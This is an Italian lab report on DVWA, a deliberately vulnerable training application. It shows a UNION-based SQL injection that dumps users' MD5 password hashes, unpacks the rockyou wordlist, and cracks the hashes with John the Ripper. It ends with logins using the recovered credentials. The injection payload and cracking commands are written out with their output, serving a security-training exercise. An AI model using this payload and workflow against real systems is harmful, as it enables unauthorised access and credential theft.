

Claudio De cicco
30/11/2022

Report Decrypt password con John

Per Prima cosa ho creato un file .txt sul desktop con le password trovate nei giorni precedenti.

Vulnerability: SQL Injection

User ID:

Submit

ID: ' UNION SELECT user, password FROM users#
First name: admin
Surname: 5f4dcc3b5aa765d61d8327deb882cf99

ID: ' UNION SELECT user, password FROM users#
First name: gordonb
Surname: e99a18c428cb38d5f260853678922e03

ID: ' UNION SELECT user, password FROM users#
First name: 1337
Surname: 8d3533d75ae2c3966d7e0d4fcc69216b

ID: ' UNION SELECT user, password FROM users#
First name: pablo
Surname: 0d107d09f5bbe40cade3de5c71e9e9b7

ID: ' UNION SELECT user, password FROM users#
First name: smithy
Surname: 5f4dcc3b5aa765d61d8327deb882cf99

Poi sono andato a cercare la wordlist "rockyou.txt". Il file lo trovo compresso, quindi andrò ad estrarlo con il comando "gunzip".

```
(kali@kali)-[/usr/share/wordlists]
$ ls
amass  dirbuster  fern-wifi  legion  nmap.lst  sqlmap.txt  wifite.txt
dirb   fasttrack.txt  john.lst  metasploit  rockyou.txt.gz  wfuzz
```

```
(kali@kali)-[/usr/share/wordlists]
$
```

```
(kali@kali)-[/usr/share/wordlists]
$ sudo gunzip rockyou.txt.gz
[sudo] password for kali:
```

```
(kali@kali)-[/usr/share/wordlists]
$ ls
amass  dirbuster  fern-wifi  legion  nmap.lst  sqlmap.txt  wifite.txt
dirb   fasttrack.txt  john.lst  metasploit  rockyou.txt  wfuzz
```

Una volta estratto il file, vado a lanciare un attacco a dizionario con John tentando di decriptare le password con questo risultato.

```
(kali@kali)-[~]
$ cd Desktop

(kali@kali)-[~/Desktop]
$ sudo john --format=raw-md5 --wordlist=/usr/share/wordlists/rockyou.txt md5_pwd.txt
[sudo] password for kali:
Created directory: /root/.john
Using default input encoding: UTF-8
Loaded 4 password hashes with no different salts (Raw-MD5 [MD5 256/256 AVX2 8x3])
Warning: no OpenMP support for this hash type, consider --fork=4
Press 'q' or Ctrl-C to abort, almost any other key for status
password      (?)
abc123         (?)
letmein        (?)
charley        (?)
4g 0:00:00:00 DONE (2022-11-30 08:10) 400.0g/s 307200p/s 307200c/s 460800C/s my3kids..dangerous
Warning: passwords printed above might not be all those cracked
Use the "--show --format=Raw-MD5" options to display all of the cracked passwords reliably
Session completed.

(kali@kali)-[~/Desktop]
$
```

Non avendo inserito nel file i nomi utente di ogni password mi escono decriptate ma senza essere legate a nessun utente. Sono andato quindi a fare un controllo sempre tramite john per mostrarmi di nuovo il risultato. Successivamente andando a modificare il file inserendo anche gli utenti vado ad effettuare di nuovo il controllo, e in questo modo riesco a vedere anche il nome utente associato ad ogni password.

```
(kali@kali)-[~/Desktop]
$ sudo john --show --format=raw-md5 /home/kali/Desktop/md5_pwd.txt
?:abc123
?:charley
?:letmein
?:password

4 password hashes cracked, 0 left

(kali@kali)-[~/Desktop]
$ sudo john --show --format=raw-md5 /home/kali/Desktop/md5_pwd.txt
admin:password
gordonb:abc123
1337:charley
pablo:letmein
smithy:password

5 password hashes cracked, 0 left

(kali@kali)-[~/Desktop]
$
```

Come ultimo controllo ho aperto la pagina dvwa da browser per vedere se riuscivo ad accedere con le credenziali appena trovate.

You have logged in as 'gordonb'

You have logged in as 'pablo'

You have logged in as 'smithy'

You have logged in as '1337'